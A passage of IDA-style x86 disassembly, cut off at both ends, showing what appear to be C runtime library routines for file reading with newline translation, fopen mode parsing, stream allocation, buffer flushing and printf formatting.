var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCD80
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCC80h[eax*4]
		mov	eax, dword_4DCC80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2830047h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB928, 9
		mov	dword_4DB92C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 28B0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2830047h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9A8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB14
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB10
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC48
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC48
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC48
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9A8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9A8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0B8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D0D8
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D000


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9A8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBC4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


